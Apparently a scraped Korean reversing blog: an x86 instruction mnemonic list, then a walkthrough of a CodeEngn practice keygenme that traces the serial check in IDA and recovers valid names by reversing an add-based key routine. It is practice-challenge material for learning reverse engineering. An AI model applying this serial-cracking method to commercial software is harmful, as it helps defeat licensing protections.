VFMSUBADD213PDFused Multiply-Alternating Subtract/Add of Packed Double-Precision Floating-Point Values
VFMSUBADD213PSFused Multiply-Alternating Subtract/Add of Packed Single-Precision Floating-Point Values
VFMSUBADD231PDFused Multiply-Alternating Subtract/Add of Packed Double-Precision Floating-Point Values
VFMSUBADD231PSFused Multiply-Alternating Subtract/Add of Packed Single-Precision Floating-Point Values
VFNMADD132PDFused Negative Multiply-Add of Packed Double-Precision Floating-Point Values
VFNMADD132PSFused Negative Multiply-Add of Packed Single-Precision Floating-Point Values
VFNMADD132SDFused Negative Multiply-Add of Scalar Double-Precision Floating-Point Values
VFNMADD132SSFused Negative Multiply-Add of Scalar Single-Precision Floating-Point Values
VFNMADD213PDFused Negative Multiply-Add of Packed Double-Precision Floating-Point Values
VFNMADD213PSFused Negative Multiply-Add of Packed Single-Precision Floating-Point Values
VFNMADD213SDFused Negative Multiply-Add of Scalar Double-Precision Floating-Point Values
VFNMADD213SSFused Negative Multiply-Add of Scalar Single-Precision Floating-Point Values
VFNMADD231PDFused Negative Multiply-Add of Packed Double-Precision Floating-Point Values
VFNMADD231PSFused Negative Multiply-Add of Packed Single-Precision Floating-Point Values
VFNMADD231SDFused Negative Multiply-Add of Scalar Double-Precision Floating-Point Values
VFNMADD231SSFused Negative Multiply-Add of Scalar Single-Precision Floating-Point Values
VFNMSUB132PDFused Negative Multiply-Subtract of Packed Double-Precision Floating-Point Values
VFNMSUB132PSFused Negative Multiply-Subtract of Packed Single-Precision Floating-Point Values
VFNMSUB132SDFused Negative Multiply-Subtract of Scalar Double-Precision Floating-Point Values
VFNMSUB132SSFused Negative Multiply-Subtract of Scalar Single-Precision Floating-Point Values
VFNMSUB213PDFused Negative Multiply-Subtract of Packed Double-Precision Floating-Point Values
VFNMSUB213PSFused Negative Multiply-Subtract of Packed Single-Precision Floating-Point Values
VFNMSUB213SDFused Negative Multiply-Subtract of Scalar Double-Precision Floating-Point Values
VFNMSUB213SSFused Negative Multiply-Subtract of Scalar Single-Precision Floating-Point Values
VFNMSUB231PDFused Negative Multiply-Subtract of Packed Double-Precision Floating-Point Values
VFNMSUB231PSFused Negative Multiply-Subtract of Packed Single-Precision Floating-Point Values
VFNMSUB231SDFused Negative Multiply-Subtract of Scalar Double-Precision Floating-Point Values
VFNMSUB231SSFused Negative Multiply-Subtract of Scalar Single-Precision Floating-Point Values
VGATHERDPDGather Packed DP FP Values Using Signed Dword/Qword Indices
VGATHERDPSGather Packed SP FP values Using Signed Dword/Qword Indices
VGATHERQPDGather Packed DP FP Values Using Signed Dword/Qword Indices
VGATHERQPSGather Packed SP FP values Using Signed Dword/Qword Indices
VINSERTF128Insert Packed Floating-Point Values
VINSERTI128Insert Packed Integer Values
VMASKMOVConditional SIMD Packed Loads and Stores
VPBLENDDBlend Packed Dwords
VPBROADCASTBroadcast Integer Data
VPERM2F128Permute Floating-Point Values
VPERM2I128Permute Integer Values
VPERMDFull Doublewords Element Permutation
VPERMILPDPermute Double-Precision Floating-Point Values
VPERMILPSPermute Single-Precision Floating-Point Values
VPERMPDPermute Double-Precision Floating-Point Elements
VPERMPSPermute Single-Precision Floating-Point Elements
VPERMQQwords Element Permutation
VPGATHERDDGather Packed Dword Values Using Signed Dword/Qword Indices
VPGATHERDQGather Packed Qword Values Using Signed Dword/Qword Indices
VPGATHERQDGather Packed Dword Values Using Signed Dword/Qword Indices
VPGATHERQQGather Packed Qword Values Using Signed Dword/Qword Indices
VPMASKMOVConditional SIMD Integer Packed Loads and Stores
VPSLLVDVariable Bit Shift Left Logical
VPSLLVQVariable Bit Shift Left Logical
VPSRAVDVariable Bit Shift Right Arithmetic
VPSRLVDVariable Bit Shift Right Logical
VPSRLVQVariable Bit Shift Right Logical
VTESTPDPacked Bit Test
VTESTPSPacked Bit Test
VZEROALLZero All YMM Registers
VZEROUPPERZero Upper Bits of YMM Registers
WAITWait
WBINVDWrite Back and Invalidate Cache
WRFSBASEWrite FS/GS Segment Base
WRGSBASEWrite FS/GS Segment Base
WRMSRWrite to Model Specific Register
XABORTTransactional Abort
XACQUIREHardware Lock Elision Prefix Hints
XADDExchange and Add
XBEGINTransactional Begin
XCHGExchange Register/Memory with Register
XENDTransactional End
XGETBVGet Value of Extended Control Register
XLATTable Look-up Translation
XLATBTable Look-up Translation
XORLogical Exclusive OR
XORPDBitwise Logical XOR for Double-Precision Floating-Point Values
XORPSBitwise Logical XOR for Single-Precision Floating-Point Values
XRELEASEHardware Lock Elision Prefix Hints
XRSTORRestore Processor Extended States
XRSTORSRestore Processor Extended States Supervisor
XSAVESave Processor Extended States
XSAVECSave Processor Extended States with Compaction
XSAVEOPTSave Processor Extended States Optimized
XSAVESSave Processor Extended States Supervisor
XSETBVSet Extended Control Register
XTESTTest If In Transactional Execution


'Reversing > Theory' 카테고리의 다른 글

Code Virtualized - 코드 가상화 참고자료  (0) 2015.08.17
Practical Malware Analysis - 1  (0) 2015.07.31
RVA to RAW 쉽게 생각해보기  (1) 2015.03.20
범용 CPU 레지스터  (1) 2015.03.04
Assembly Basic Commands  (0) 2015.01.23

문제 확인


이번문제도 시리얼이 주어지고 이에 해당하는 Name을 구하는 것이 문제이다. 이제 14번 이전까지 문제를 풀었던 사람들이라면 충분히 손쉽게 문제를 풀 수가 있는 문제이다.



분석


우선 성공분기점을 찾는다. 아래와 같이 IDA를 통해서 봤을 때 LStrCmp()를 통하여 성공의 분기를 결정하는 것을 확인 할 수가 있다. 그렇다면 저 부분을 기준으로 이전의 명령어들을 살펴보자.


우선 프로그램을 디버거로 열어보면 아래의 지점으로 EIP가 구성이 된다. 그리고 총 5개의 호출함수가 보인다. 여기서 우리가 알아야할 것은 바로 4번쨰에 있는 함수로써 프로그램의 버튼을 클릭하였을 경우 이루어질 동작에 대해 정의된 곳이다.

그 이전의 부분들은 GUI를 구성하는 작업을 하는 것이므로 굳이 힘들게 분석할 필요는 없는 것 같다.


Run() 함수로 진입하여 살펴보다보면 아래와 같이 내가 입력한 Name과 Serial들을 가지고 확인작업을 하는 것을 볼 수가 있다. 설명은 주석으로 달아놓았지만 그래도 모든 부분을 다 포함하기에는 너무나 길기 떄문에 IDA-Hexray로 대체하겠다.


밑에 보는 것과 같이 특정한 자리에 특정한 값이 오는지를 확인하기도 한다. 이러한 중간에 하나라도 조건에 부합하지 않는다면 바로 실패구문으로 넘어가게 된다. 그리고 이러한 구문을 모두 거친 뒤에서야 비교문이 나오게 된다.



풀이


위의 많은 조건들을 통과하면 아래와 같이 Create_Serial()을 호출하는 부분을 발견할 수가 있다. 이 부분에서 바로 Name에 따른 Key 값이 형성이 된다.


우선 Name을 1111로 입력하였을 경우 Name이 총 16글자로 맞추어 지는 것을 확인 할 수가 있다. 그렇게 형성된 16글자를 가지고 "NH KeyGenMe6"와 함께 한 글자씩 ADD 연산을 통하여 연산을 진행한 후에 생기는 값들을 통하여 최종적으로 키 값을 형성한다.


이러한 루프를 모두 거치면 아래와 같이 007F0079...등 많은 숫자들이 있다. 하지만 여기서 키 값에 사용되는 것은 바로 앞의 12글자이다. 따라서 우리가 필요한 글자는 3글자이며 나머지는 모두 무시된다는 것을 확인할 수가 있다.

하지만 그렇다해서 Name을 3자리만 입력하라는 것은 아니다. Create_Serial()로 오기 이전의 조건문에 의하여 name의 수는 4의 배수여야하는 것 같다.


아래는 Name 을 1234로 했을 경우에 구하는 소스이다. 이제 이렇게 구했으므로 우리는 역으로 뺄셈을 통하여 쉽게 답을 찾을 수가 있다.


Create_Serial()을 통과한 후에 lStrCmp()를 통하여 내가 입력한 시리얼과 Name에 따른 KEY값이 비교되는 것을 확인 할 수가 있다.



따라서 우리는 3글자만 알면되기에 아래와 같이 3글자를 채워주고 마지막 한글자는 아무거나로 채우면 성공문을 확인 할 수가 있을 것이다.


'Reversing > CodeEngn' 카테고리의 다른 글

CodeEngn Advance 02  (0) 2015.07.30
CodeEngn Advance 15  (0) 2015.07.30
CodeEngn Advance 12  (1) 2015.07.22
CodeEngn Advance 11  (0) 2015.07.17
CodeEngn Advance 10  (0) 2015.07.13